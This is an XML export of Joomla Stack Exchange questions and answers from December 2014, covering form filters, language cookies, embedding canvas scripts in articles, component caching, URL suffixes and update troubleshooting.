  <row Id="5764" PostTypeId="1" AcceptedAnswerId="5765" CreationDate="2014-12-22T20:46:28.820" Score="16" ViewCount="9205" Body="&lt;p&gt;I see intermittent use of &lt;code&gt;filter=&quot;safehtml&quot;&lt;/code&gt; and &lt;code&gt;filter=&quot;string&quot;&lt;/code&gt; throught Joomla forms.  Is there a complete list, and can custom filters be created?  &lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2018-07-01T16:16:31.687" Title="What are possible filters in Joomla form fields?" Tags="|jform|form-fields-types|fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5765" PostTypeId="2" ParentId="5764" CreationDate="2014-12-22T20:53:54.283" Score="24" Body="&lt;p&gt;The possible filters are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;rules&lt;/strong&gt; (Access Control Rules)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;unset&lt;/strong&gt; (Do nothing, thus leaving the return value as null)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;raw&lt;/strong&gt; (No filter)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;int_array&lt;/strong&gt; (Filter the input as an array of integers)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;safehtml&lt;/strong&gt; (Filter safe HTML)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;server_utc&lt;/strong&gt; (Convert a date to UTC based on the server timezone offset)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;user_utc&lt;/strong&gt; (Convert a date to UTC based on the user timezone offset)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;url&lt;/strong&gt; (URL filter which also ensure the protocol is present)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;tel&lt;/strong&gt; (Filter for phone number. It will try and match against specific patterns, else return a string of numbers)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For a full list of jInput filters and how to use them, see &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot;&gt;Retrieving request data using JInput&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="64" LastEditDate="2014-12-22T21:22:35.357" LastActivityDate="2014-12-22T21:22:35.357" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5767" PostTypeId="1" CreationDate="2014-12-23T08:18:03.213" Score="1" ViewCount="423" Body="&lt;p&gt;I have a joomla site that enabled the arabic and english languages.The switching is working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some clarifications.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First I open the english site and do the content change.&lt;/li&gt;&#xA;&lt;li&gt;Then I open another tab in same browser and go to arabic site and do the content change while first tab remain in the previous english session.&lt;/li&gt;&#xA;&lt;li&gt;Then if I go back to english tab and clicked a link,it automatically switch to arabic.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What I need is to keep both languages switch in different tabs.Can it be happen??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" OwnerUserId="3402" LastActivityDate="2015-01-22T15:46:31.680" Title="Language Switch between browser tabs" Tags="|joomla-3.x|joomla-2.5|joomla-3.3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5768" PostTypeId="2" ParentId="5754" CreationDate="2014-12-23T08:22:21.823" Score="3" Body="&lt;p&gt;It seems that the problem is not related to Joomla. Just Google around for your problem. The fist answer I found is &lt;a href=&quot;https://stackoverflow.com/questions/13880267/mysql-last-insert-id-returns-0&quot;&gt;this&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The problem seemed to be in MySQL's phpmyadmin config file&#xA;  PersistentConnections set to FALSE which resulted in a new&#xA;  CONNECTION_ID every time a query was issued - therefore rendering&#xA;  SELECT LAST_INSERT_ID() ineffective.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-12-23T08:22:21.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5770" PostTypeId="1" CreationDate="2014-12-23T11:40:22.090" Score="3" ViewCount="351" Body="&lt;p&gt;Upon request I created a little HTML5 canvas animation for Christmas (so, tomorrow) and now I am trying to put it into an article. I am using JCE and turned off textfiltering in the configuration of Joomla itself and also in my editor profile. I even added canvas to the exceptions. When I copy my code to the article everything works fine, except that on toggle or save, it removes my canvas-element and replaces it with &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt;. JS and CSS stay and the &lt;code&gt;div&lt;/code&gt; I use as a container for my canvas also stays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JS fires until ALERT1.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var canvas = document.getElementById(&quot;canvas&quot;);&#xA;alert(&quot;ALERT1&quot;);&#xA;var ctx = canvas.getContext(&quot;2d&quot;);&#xA;alert(&quot;ALERT2&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="3404" LastEditorUserId="168" LastEditDate="2014-12-23T11:43:58.353" LastActivityDate="2014-12-23T15:18:44.003" Title="Joomla 2.5, can´t put canvas element into article" Tags="|joomla-2.5|articles|jce|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5771" PostTypeId="2" ParentId="5770" CreationDate="2014-12-23T13:41:38.113" Score="1" Body="&lt;p&gt;Rather than trying to add your Javascript in the article which may not parse correctly, I would suggest using a 3rd party plugin to add it such as &lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Sourcerer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed, you can add the following into your article:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;    &amp;lt;script&amp;gt;&#xA;        var canvas = document.getElementById(&quot;canvas&quot;);&#xA;        alert(&quot;ALERT1&quot;);&#xA;        var ctx = canvas.getContext(&quot;2d&quot;);&#xA;        alert(&quot;ALERT2&quot;);&#xA;    &amp;lt;/script&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-23T13:41:38.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5772" PostTypeId="1" CreationDate="2014-12-23T13:57:58.527" Score="2" ViewCount="411" Body="&lt;p&gt;I want to build a site where:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An user creates a contest, for example, entitled &quot;Landscapes&quot;&lt;/li&gt;&#xA;&lt;li&gt;Every user can submit images to that contest&lt;/li&gt;&#xA;&lt;li&gt;Every user can vote within those images&lt;/li&gt;&#xA;&lt;li&gt;Eventually the contest ends, and there's a winner&lt;/li&gt;&#xA;&lt;li&gt;In the future it will be more complex, so it should be open to modifications&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can someone help me figure out the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I guess that first, I need a community / social extension. For that, I'm taking a look at Jomsocial, Easy Social, and community builder. Any ideas wich one would be better for something like this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For the contest / poll with images, I found an extension that might be modified to do this, but their site is currently down. Its name is &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/photos-a-images/galleries/simgallery&quot; rel=&quot;nofollow&quot;&gt;simgallery&lt;/a&gt;. It mentions a ranking mode that might be useful. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any other ideas? Maybe there is another extension that would fit better? The key features are that any user can create this contests (not only the admin), that each user's submission to the contest should be an image (so it must be viewed as a gallery), and that each submission can be voted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Maybe I'm heading in the wrong direction and I could do it in another way? I know I will have to program quite a lot. I'm trying also to keep it as inexpensive as possible (those extensions can be expensive).&lt;/p&gt;&#xA;" OwnerUserId="3405" LastEditorUserId="3405" LastEditDate="2014-12-23T15:03:00.863" LastActivityDate="2014-12-23T23:42:32.703" Title="Community driven-image contests" Tags="|component|extensions|extension-request|" AnswerCount="1" CommentCount="2" ClosedDate="2014-12-24T09:25:16.200" ContentLicense="CC BY-SA 3.0" />
  <row Id="5773" PostTypeId="2" ParentId="5770" CreationDate="2014-12-23T14:27:42.170" Score="1" Body="&lt;p&gt;I often use a free module called &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/custom-html-advanced&quot; rel=&quot;nofollow&quot;&gt;Custom HTML Advanced&lt;/a&gt; when I need to add custom code to Joomla. This module is similar to the built-in Custom HTML module, but with a couple of improvements: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;No filtering (even for script tags); &lt;/li&gt;&#xA;  &lt;li&gt;Override module position chrome to remove unwanted wrapping HTML code around the module;   &lt;/li&gt;&#xA;  &lt;li&gt;Add custom CSS code into HTML header for pages where the module is enabled.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Simply create a module with your code, publish it to a custom position (e.g. &lt;em&gt;MyCustomPosition&lt;/em&gt;), and add the following text to your article wherever you want the module to be loaded (this can be done directly in the TinyMCE editor):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{loadposition MyCustomPosition}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-23T14:27:42.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5774" PostTypeId="2" ParentId="5770" CreationDate="2014-12-23T14:57:19.840" Score="1" Body="&lt;h1&gt;JCE Editor&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When you are editing the article, click on &lt;kbd&gt;Toggle Editor&lt;/kbd&gt; once and add the code including &lt;code&gt;&amp;lt;canvas id=&quot;canvas&quot;&amp;gt;&amp;lt;/canvas&amp;gt;&lt;/code&gt;. Then do NOT click on &lt;kbd&gt;Toggle Editor&lt;/kbd&gt; again; just click on &lt;kbd&gt;Save&lt;/kbd&gt; button. The article will be saved without stripping the canvas tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2bRyq.png&quot; alt=&quot;JCE Editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vAK3p.png&quot; alt=&quot;Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; As user @johanpw mentioned, the code may be cleaned up next time you save the article. You'd have to keep a copy of the entire source code elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;TinyMCE Editor&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Go to &quot;Extensions&quot; -&gt; &quot;Plug-in Manager&quot;. Click on &quot;Editor - TinyMCE&quot;. Inside &quot;Basic Options&quot; add &lt;code&gt;canvas[*]&lt;/code&gt; to &quot;Extended Valid Elements&quot; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can add &lt;code&gt;&amp;lt;canvas id=&quot;canvas&quot;&amp;gt;-&amp;lt;/canvas&amp;gt;&lt;/code&gt; to your article's html source.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-12-23T15:18:44.003" LastActivityDate="2014-12-23T15:18:44.003" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5775" PostTypeId="2" ParentId="5767" CreationDate="2014-12-23T15:01:50.090" Score="3" Body="&lt;p&gt;No, you can't have different languages in different tabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a multi-lingual Joomla website, the selected language is stored in a cookie, and the cookie lifetime can be set in the &lt;code&gt;Language Filter&lt;/code&gt; plugin. The options are &lt;code&gt;Year&lt;/code&gt; and &lt;code&gt;Session&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UhtjD.jpg&quot; alt=&quot;Multilingual Joomla lifetime cookie&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means you can't have different languages i different tabs (within the same browser), because when you change languages, the settings will apply to all tabs in your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to have different languages active at the same time is to use two different browser, e.g. Firefox &amp;amp; Chrome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change between browsers just as quickly as changing between tabs:&lt;br&gt;&#xA;(&lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt; vs &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-23T15:01:50.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5776" PostTypeId="1" AcceptedAnswerId="5777" CreationDate="2014-12-23T15:39:53.623" Score="8" ViewCount="3661" Body="&lt;p&gt;I want to remove this message from my admin panel:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Joomla! 2.5 Support Is Ending On December 31, 2014! Click Here for More Information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hrTtR.png&quot; alt=&quot;Joomla! 2.5 Support Is Ending On December 31, 2014!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message appeared after updating to the 2.5.28 version. How can I remove it?&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-12-23T15:47:14.523" LastActivityDate="2015-12-27T08:16:10.343" Title="How to remove &quot;Joomla! 2.5 Support Is Ending On December 31, 2014!&quot; from admin panel?" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5777" PostTypeId="2" ParentId="5776" CreationDate="2014-12-23T15:39:53.623" Score="8" Body="&lt;p&gt;This message is rendered by a plugin called &quot;End of Support Notifier&quot;. The type of this plugin is &quot;QuickIcon&quot;. To remove it go to &quot;Extensions&quot; -&gt; &quot;Plug-in Manager&quot;. Find and disable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rNhJ7.png&quot; alt=&quot;Disable this plugin!&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-12-23T15:39:53.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5778" PostTypeId="1" CreationDate="2014-12-23T17:32:50.387" Score="5" ViewCount="650" Body="&lt;p&gt;I've noticed this a value at the end of my &lt;strong&gt;configuration.php&lt;/strong&gt; file in Joomla 3.3.6:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $asset_id = '1';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is that for? Maybe a default fallback?&lt;/p&gt;&#xA;" OwnerUserId="1504" LastActivityDate="2014-12-23T17:58:12.370" Title="What is $asset_id value in configuration.php file for?" Tags="|joomla-3.x|global-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5779" PostTypeId="1" CreationDate="2014-12-23T17:51:49.790" Score="1" ViewCount="128" Body="&lt;p&gt;I'm new to writing Joomla plugins so bear with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to create a poke like feature for the Joomla 1.5 Community Builder. When I click on the poke-button of a user, I want this user and only this user to get a notification (or being able to see that he has been poked). How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the plugin I did so far:&#xA;cb_poke.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&amp;gt;&#xA;    function pokeMe() &#xA;    {&#xA;        var div = document.getElementById(&quot;dom-target&quot;);&#xA;        var myData = div.textContent;&#xA;&#xA;        alert(myData+' poked!');&#xA;&#xA;        return false;&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;dom-target&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;    &amp;lt;?php &#xA;        $user = JFactory::getUser();&#xA;        $theUserName='test user';&#xA;&#xA;        if (!$user-&amp;gt;guest) {&#xA;          $theUserName= $user-&amp;gt;username;&#xA;        }&#xA;&#xA;        echo htmlspecialchars($theUserName);&#xA;    ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;&#xA;// No direct access allowed to this file&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;// Import Joomla! Plugin library file&#xA;jimport('joomla.plugin.plugin');&#xA;&#xA;&#xA;class getTab extends cbTabHandler &#xA;{&#xA;&#xA;    function getTab() &#xA;    {&#xA;        $this-&amp;gt;cbTabHandler();&#xA;    }&#xA;&#xA;    function getDisplayTab($tab,$user,$ui) &#xA;    {&#xA;&#xA;        $return = null;&#xA;&#xA;        $params = $this-&amp;gt;params; // get parameters (plugin and related tab)&#xA;&#xA;        $is_plug_enabled = $params-&amp;gt;get('hwPlugEnabled', &quot;1&quot;);&#xA;        $tab_message = $params-&amp;gt;get('hwTabMessage', &quot;Hi there! :)&quot;);&#xA;&#xA;        if ($is_plug_enabled != &quot;0&quot;) &#xA;        {&#xA;            if($tab-&amp;gt;description != null) &#xA;            {&#xA;                $return .= &quot;\t\t&amp;lt;div class=\&quot;tab_Description\&quot;&amp;gt;&quot;&#xA;                    . $tab-&amp;gt;description // html content is allowed in descriptions&#xA;                    . &quot;&amp;lt;/div&amp;gt;\n&quot;;&#xA;            }&#xA;            $return .= &quot;\t\t&amp;lt;div&amp;gt;\n&quot;&#xA;                . &quot;&amp;lt;p&amp;gt;&quot;&#xA;                . htmlspecialchars($tab_message) // make all other output html-safe&#xA;                . &quot;&amp;lt;/p&amp;gt;&quot;&#xA;                . &quot;&amp;lt;/div&amp;gt;\n&quot;&#xA;                . &quot;&amp;lt;form&amp;gt;&amp;lt;input type='Button' value='Poke' id='pokeButton' onclick='pokeMe()'&amp;gt;&amp;lt;/input&amp;gt;&amp;lt;/form&amp;gt;&quot;;&#xA;        }&#xA;&#xA;        return $return;&#xA;    } &#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click on the poke button it returns an alert saying: &quot;[username] poked!&quot;. [username] is the user who clicked on the poke button. So far this works. Now I want this message to be passed to the user profile I just poked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried with &lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage('Poke message');&lt;/code&gt; but that only means I get notified not the other user.&lt;/p&gt;&#xA;" OwnerUserId="3399" LastEditorUserId="159" LastEditDate="2014-12-23T18:08:45.470" LastActivityDate="2014-12-23T18:08:45.470" Title="Facebook like poke button" Tags="|plugin|fix-my-code|joomla-1.5|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5780" PostTypeId="2" ParentId="5778" CreationDate="2014-12-23T17:58:12.370" Score="1" Body="&lt;p&gt;This is not a default variable for Joomla 3.x's (&lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-3/news/config-changes&quot; rel=&quot;nofollow&quot;&gt;or any other version&lt;/a&gt;) &lt;em&gt;configuration.php&lt;/em&gt; file. I've done a check to see if this variable is being used anywhere else in Joomla's core. It is, however it's not being called from the &lt;em&gt;configuration.php&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how it got there but the &lt;em&gt;configuration.php&lt;/em&gt; should never get changed by any other extensions. The only time it changes or when it should change is when:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There's a Joomla update&lt;/li&gt;&#xA;&lt;li&gt;You manually make changes (i.e if you move your site to a different host)&lt;/li&gt;&#xA;&lt;li&gt;You make changes in the Joomla Global Configuration&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would suggest taking a backup of this file and removing &lt;code&gt;public $asset_id = '1';&lt;/code&gt; from the production file.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-23T17:58:12.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5781" PostTypeId="1" AcceptedAnswerId="7000" CreationDate="2014-12-23T20:13:54.673" Score="13" ViewCount="3301" Body="&lt;p&gt;As is typically the case with a CMS, the most hits occur while it is still &quot;new&quot;.  I'd like to cache the page output the first time it is rendered for a given period as to reduce the heavy workload that is required to generate it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been working from the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JCache.html&quot;&gt;JCache&lt;/a&gt; documentation, and have the basic mechanics worked out as shown here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cache = JFactory::getCache('MyCache', '');&#xA;$cache-&amp;gt;setCaching(true);&#xA;$cache-&amp;gt;setLifeTime(86400);  //24 hours&#xA;$cache_id = 'MyCache_page_123';&#xA;$cached_page= $cache-&amp;gt;get($cache_id);&#xA;if (!empty($cached_page)) {&#xA;    $the_page_output = $cached_page;&#xA;}else{&#xA;    $the_page_output = ...&amp;lt;div&amp;gt;the generated view HTML&amp;lt;/div&amp;gt;....&#xA;    $cache-&amp;gt;store($the_page_output, $cache_id);&#xA;}&#xA;// echo or return &quot;$the_page_output&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm stuck trying to determine where I should create the cache, then the &quot;sweet spot&quot; to &lt;em&gt;use&lt;/em&gt; that cache before all the work begins again.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-01-15T13:24:40.317" Title="How can I use Joomla's Cache with my components view?" Tags="|development|mvc|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5782" PostTypeId="2" ParentId="5772" CreationDate="2014-12-23T23:42:32.703" Score="1" Body="&lt;p&gt;Core Design Photo Contest &lt;a href=&quot;http://extensions.joomla.org/profile/extension/photos-a-images/galleries/core-design-photo-contest&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/profile/extension/photos-a-images/galleries/core-design-photo-contest&lt;/a&gt; might fit the bill.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-12-23T23:42:32.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5783" PostTypeId="1" AcceptedAnswerId="5784" CreationDate="2014-12-24T00:28:53.567" Score="5" ViewCount="2641" Body="&lt;p&gt;I ugpraded from 3.1.1 to 3.2.6 which went absolutely fine after I had disabled the 'Remember me'. I then wanted to go to 3.3.6 and followed the same process of going to the 'Update Manager' and hitting the Update Now. But after updating it once, the Update Checker still was showing update to 3.3.6 which made no sense as there was no error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I did the update again and same issue. Nothing breaks but still see 'Update to 3.3.6' message. And then I checked the details on the Update Manager and saw the issue. The Update URL is pointing to the 3.2.6_to_3.2.7 Stable Patch Package even though the installed version is already 3.2.7. Since all I did was click the update button on the 3.1.1, I am wondering if is this some sort of bug? And is there any way I could resolve it without having to do a fresh 3.3.6 install?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AT9vW.png&quot; alt=&quot;Incorrect Update Package URL&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-12-24T00:36:48.143" Title="Incorrect Package URL when Updating from 3.2.7 to 3.3.6" Tags="|one-click-updates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5784" PostTypeId="2" ParentId="5783" CreationDate="2014-12-24T00:36:48.143" Score="2" Body="&lt;p&gt;You can manually download the update package from the following link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://joomlacode.org/gf/download/frsrelease/19823/161247/%4A%6F%6F%6D%6C%61%5F%33%2E%33%2E%36%2D%53%74%61%62%6C%65%2D%55%70%64%61%74%65%5F%50%61%63%6B%61%67%65%2E%7A%69%70&quot; rel=&quot;nofollow&quot;&gt;Joomla_3.3.6-Stable-Update_Package.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, install it as you would any other extension via the Extension Manager in the Joomla backend. Please remember to take a backup of your site (including the database) before you do anything just to be on the safe side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-24T00:36:48.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5786" PostTypeId="1" AcceptedAnswerId="5790" CreationDate="2014-12-24T11:25:02.827" Score="2" ViewCount="443" Body="&lt;p&gt;How I can remove the suffix .html in joomla 3 in my menu link even if I turn on Add URLs suffix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to remove in one specific article/page only. Thank you for help.&lt;/p&gt;&#xA;" OwnerUserId="2169" LastEditorUserId="126" LastEditDate="2016-01-22T00:03:47.817" LastActivityDate="2016-01-22T00:03:47.817" Title="How to remove the suffix .html in Joomla 3" Tags="|joomla-3.x|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5788" PostTypeId="2" ParentId="5338" CreationDate="2014-12-24T13:03:50.447" Score="1" Body="&lt;p&gt;Just to follow up on this, I ended up using a HTML Image Map. In order to track the  clicks on the different areas, I used a nice, free click tracking system called &lt;a href=&quot;http://www.phpjunkyard.com/php-click-counter.php&quot; rel=&quot;nofollow&quot;&gt;PHP Click counter&lt;/a&gt;. It's not a Joomla extension, but a standalone PHP click tracking system. Works perfectly, but I have to log in to a different admin panel in order to see the number of clicks.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1520" LastEditDate="2014-12-24T14:52:59.103" LastActivityDate="2014-12-24T14:52:59.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5790" PostTypeId="2" ParentId="5786" CreationDate="2014-12-24T15:48:29.100" Score="2" Body="&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This solution is not recommended because it hacks core Joomla library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume that the alias of your menu item is &lt;code&gt;about&lt;/code&gt;. Open the file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/libraries/cms/router/site.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and around the line #116, find this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($app-&amp;gt;get('sef_suffix') &amp;amp;&amp;amp; !(substr($route, -9) == 'index.php' || substr($route, -1) == '/'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then replace it with this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($app-&amp;gt;get('sef_suffix') &amp;amp;&amp;amp; !(substr($route, -9) == 'index.php' || substr($route, -1) == '/') &amp;amp;&amp;amp; $route != 'index.php/about')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is obvious that you must replace &lt;code&gt;about&lt;/code&gt; with your menu item alias in the above line.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-12-24T15:48:29.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5791" PostTypeId="1" AcceptedAnswerId="5792" CreationDate="2014-12-24T17:41:27.530" Score="1" ViewCount="65" Body="&lt;p&gt;Our component depends on the users permission to edit articles, but is intended to intervene with that editing process, so the icon that &lt;em&gt;allows&lt;/em&gt; the article editing to occur is a problem for us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GLobal configuration allows setting some options,etc., but I've been unable to actually stop the icon from being there as long as the permissions allow editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the feature be turned off without needing a template override of some kind?&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-24T18:52:30.970" Title="How can I turn off Front-End editing of articles without changing Content Permissions?" Tags="|com-content|global-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
